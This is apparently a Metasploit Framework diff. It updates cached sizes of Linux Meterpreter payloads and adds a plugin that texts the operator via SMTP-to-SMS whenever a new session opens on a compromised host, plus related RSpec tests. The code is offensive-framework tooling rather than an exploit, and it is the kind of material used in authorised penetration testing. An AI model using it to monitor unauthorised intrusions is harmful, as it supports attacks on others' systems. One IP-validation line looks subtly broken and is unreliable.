@ -11,7 +11,7 @@ require 'msf/base/sessions/meterpreter_mipsle_linux'
module MetasploitModule
CachedSize = 502840
CachedSize = 997996
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions

View File

@ -11,7 +11,7 @@ require 'msf/base/sessions/meterpreter_ppc_linux'
module MetasploitModule
CachedSize = 395276
CachedSize = 788788
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions

View File

@ -11,7 +11,7 @@ require 'msf/base/sessions/meterpreter_ppc64le_linux'
module MetasploitModule
CachedSize = 396192
CachedSize = 789888
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions

View File

@ -11,7 +11,7 @@ require 'msf/base/sessions/meterpreter_x64_mettle_linux'
module MetasploitModule
CachedSize = 302144
CachedSize = 700032
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions

View File

@ -11,7 +11,7 @@ require 'msf/base/sessions/meterpreter_x86_mettle_linux'
module MetasploitModule
CachedSize = 305148
CachedSize = 739644
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions

View File

@ -11,7 +11,7 @@ require 'msf/base/sessions/meterpreter_zarch_linux'
module MetasploitModule
CachedSize = 380192
CachedSize = 864336
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions

255
plugins/session_notifier.rb Normal file
View File

@ -0,0 +1,255 @@
module Msf
class Plugin::SessionNotifier < Msf::Plugin
include Msf::SessionEvent
class Exception < ::RuntimeError ; end
class SessionNotifierCommandDispatcher
include Msf::Ui::Console::CommandDispatcher
attr_reader :sms_client
attr_reader :sms_carrier
attr_reader :sms_number
attr_reader :smtp_address
attr_reader :smtp_port
attr_reader :smtp_username
attr_reader :smtp_password
attr_reader :smtp_from
attr_reader :minimum_ip
attr_reader :maximum_ip
def name
'SessionNotifier'
end
def commands
{
'set_session_smtp_address' => 'Set the SMTP address for the session notifier',
'set_session_smtp_port' => 'Set the SMTP port for the session notifier',
'set_session_smtp_username' => 'Set the SMTP username',
'set_session_smtp_password' => 'Set the SMTP password',
'set_session_smtp_from' => 'Set the from field of SMTP',
'set_session_mobile_number' => 'Set the 10-digit mobile number you want to notify',
'set_session_mobile_carrier' => 'Set the mobile carrier of the phone',
'set_session_minimum_ip' => 'Set the minimum session IP range you want to be notified for',
'set_session_maximum_ip' => 'Set the maximum session IP range you want to be notified for',
'save_session_notifier_settings' => 'Save all the session notifier settings to framework',
'start_session_notifier' => 'Start notifying sessions',
'stop_session_notifier' => 'Stop notifying sessions',
'restart_session_notifier' => 'Restart notifying sessions'
}
end
def initialize(driver)
super(driver)
load_settings_from_config
end
def cmd_set_session_smtp_address(*args)
@smtp_address = args[0]
end
def cmd_set_session_smtp_port(*args)
port = args[0]
if port =~ /^\d+$/
@smtp_port = args[0]
else
print_error('Invalid port setting. Must be a number.')
end
end
def cmd_set_session_smtp_username(*args)
@smtp_username = args[0]
end
def cmd_set_session_smtp_password(*args)
@smtp_password = args[0]
end
def cmd_set_session_smtp_from(*args)
@smtp_from = args[0]
end
def cmd_set_session_mobile_number(*args)
num = args[0]
if num =~ /^\d{10}$/
@sms_number = args[0]
else
print_error('Invalid phone format. It should be a 10-digit number that looks like: XXXXXXXXXX')
end
end
def cmd_set_session_mobile_carrier(*args)
@sms_carrier = args[0].to_sym
end
def cmd_set_session_minimum_ip(*args)
ip = args[0]
if ip.blank?
@minimum_ip = nil
elsif Rex::Socket.dotted_ip?(ip)
@minimum_ip = IPAddr.new(ip)
else
print_error('Invalid IP format')
end
end
def cmd_set_session_maximum_ip(*args)
ip = args[0]
if ip.blank?
@maximum_ip = nil
elsif Rex::Socket.self.dotted_ip?(ip)
@maximum_ip = IPAddr.new(ip)
else
print_error('Invalid IP format')
end
end
def cmd_save_session_notifier_settings(*args)
save_settings_to_config
print_status("Session Notifier settings saved in config file.")
end
def cmd_start_session_notifier(*args)
if is_session_notifier_subscribed?
print_status('You already have an active session notifier.')
return
end
begin
validate_settings!
self.framework.events.add_session_subscriber(self)
smtp = Rex::Proto::Sms::Model::Smtp.new(
address: self.smtp_address,
port: self.smtp_port,
username: self.smtp_username,
password: self.smtp_password,
login_type: :login,
from: self.smtp_from
)
@sms_client = Rex::Proto::Sms::Client.new(carrier: self.sms_carrier, smtp_server: smtp)
print_status("Session notification started.")
rescue Msf::Plugin::SessionNotifier::Exception, Rex::Proto::Sms::Exception => e
print_error(e.message)
end
end
def cmd_stop_session_notifier(*args)
self.framework.events.remove_session_subscriber(self)
print_status("Session notification stopped.")
end
def cmd_restart_session_notifier(*args)
cmd_stop_session_notifier(args)
cmd_start_session_notifier(args)
end
def on_session_open(session)
subject = "You have a new #{session.type} session!"
msg = "#{session.tunnel_peer} (#{session.session_host}) #{session.info ? "\"#{session.info.to_s}\"" : nil}"
notify_session(session, subject, msg)
end
private
def save_settings_to_config
config_file = Msf::Config.config_file
ini = Rex::Parser::Ini.new(config_file)
ini.add_group(name) unless ini[name]
ini[name]['smtp_address'] = self.smtp_address
ini[name]['smtp_port'] = self.smtp_port
ini[name]['smtp_username'] = self.smtp_username
ini[name]['smtp_password'] = self.smtp_password
ini[name]['smtp_from'] = self.smtp_from
ini[name]['sms_number'] = self.sms_number
ini[name]['sms_carrier'] = self.sms_carrier
ini[name]['minimum_ip'] = self.minimum_ip.to_s unless self.minimum_ip.blank?
ini[name]['maximum_ip'] = self.maximum_ip.to_s unless self.maximum_ip.blank?
ini.to_file(config_file)
end
def load_settings_from_config
config_file = Msf::Config.config_file
ini = Rex::Parser::Ini.new(config_file)
group = ini[name]
if group
@sms_carrier = group['sms_carrier'].to_sym if group['sms_carrier']
@sms_number = group['sms_number'] if group['sms_number']
@smtp_address = group['smtp_address'] if group['smtp_address']
@smtp_port = group['smtp_port'] if group['smtp_port']
@smtp_username = group['smtp_username'] if group['smtp_username']
@smtp_password = group['smtp_password'] if group['smtp_password']
@smtp_from = group['smtp_from'] if group['smtp_from']
@minimum_ip = IPAddr.new(group['minimum_ip']) if group['minimum_ip']
@maximum_ip = IPAddr.new(group['maximum_ip']) if group['maximum_ip']
print_status('Session Notifier settings loaded from config file.')
end
end
def is_session_notifier_subscribed?
subscribers = framework.events.instance_variable_get(:@session_event_subscribers).collect { |s| s.class }
subscribers.include?(self.class)
end
def notify_session(session, subject, msg)
if is_in_range?(session)
@sms_client.send_text_to_phones([self.sms_number], subject, msg)
print_status("Session notified to: #{self.sms_number}")
end
end
def is_in_range?(session)
# If both blank, it means we're not setting a range.
return true if self.minimum_ip.blank? && self.maximum_ip.blank?
ip = IPAddr.new(session.session_host)
if self.minimum_ip && !self.maximum_ip
# There is only a minimum IP
self.minimum_ip < ip
elsif !self.minimum_ip && self.maximum_ip
# There is only a max IP
self.maximum_ip > ip
else
# Both ends are set
range = self.minimum_ip..self.maximum_ip
range.include?(ip)
end
end
def validate_settings!
if self.smtp_address.nil? || self.smtp_port.nil? ||
self.smtp_username.nil? || self.smtp_password.nil? ||
self.smtp_from.nil?
raise Msf::Plugin::SessionNotifier::Exception, "All Session Notifier's settings must be configured."
end
end
end
def name
'SessionNotifier'
end
def initialize(framework, opts)
super
add_console_dispatcher(SessionNotifierCommandDispatcher)
end
def cleanup
remove_console_dispatcher(name)
end
def name
'SessionNotifier'
end
def desc
'This plugin notifies you a new session via SMS.'
end
end
end

View File

@ -6,6 +6,8 @@ RSpec.describe Rex::Proto::Sms::Client do
let(:phone_numbers) { ['1112223333'] }
let(:sms_subject) { 'subject' }
let(:message) { 'message' }
let(:carrier) { :verizon }
@ -45,8 +47,8 @@ RSpec.describe Rex::Proto::Sms::Client do
end
it 'sends a text message' do
subject.send_text_to_phones(phone_numbers, message)
expect(@sent_message).to eq(message)
subject.send_text_to_phones(phone_numbers, sms_subject, message)
expect(@sent_message).to include(message)
end
end

View File

@ -0,0 +1,44 @@
require 'spec_helper'
require 'rex/proto/sms/model'
RSpec.describe Rex::Proto::Sms::Model::Message do
let(:message) { 'message' }
let(:from) { 'sender@example.com' }
let(:to) { 'receiver@example.com' }
let(:sms_subject) { 'subject' }
subject do
described_class.new(
from: from,
to: to,
subject: sms_subject,
message: message,
)
end
describe '#initialize' do
it 'sets message' do
expect(subject.message).to eq(message)
end
it 'sets from' do
expect(subject.from).to eq(from)
end
it 'sets to' do
expect(subject.to).to eq(to)
end
it 'sets subject' do
expect(subject.subject).to eq(sms_subject)
end
end
describe '#to_s' do
it 'returns the sms message' do
expect(subject.to_s).to include(message)
end
end
end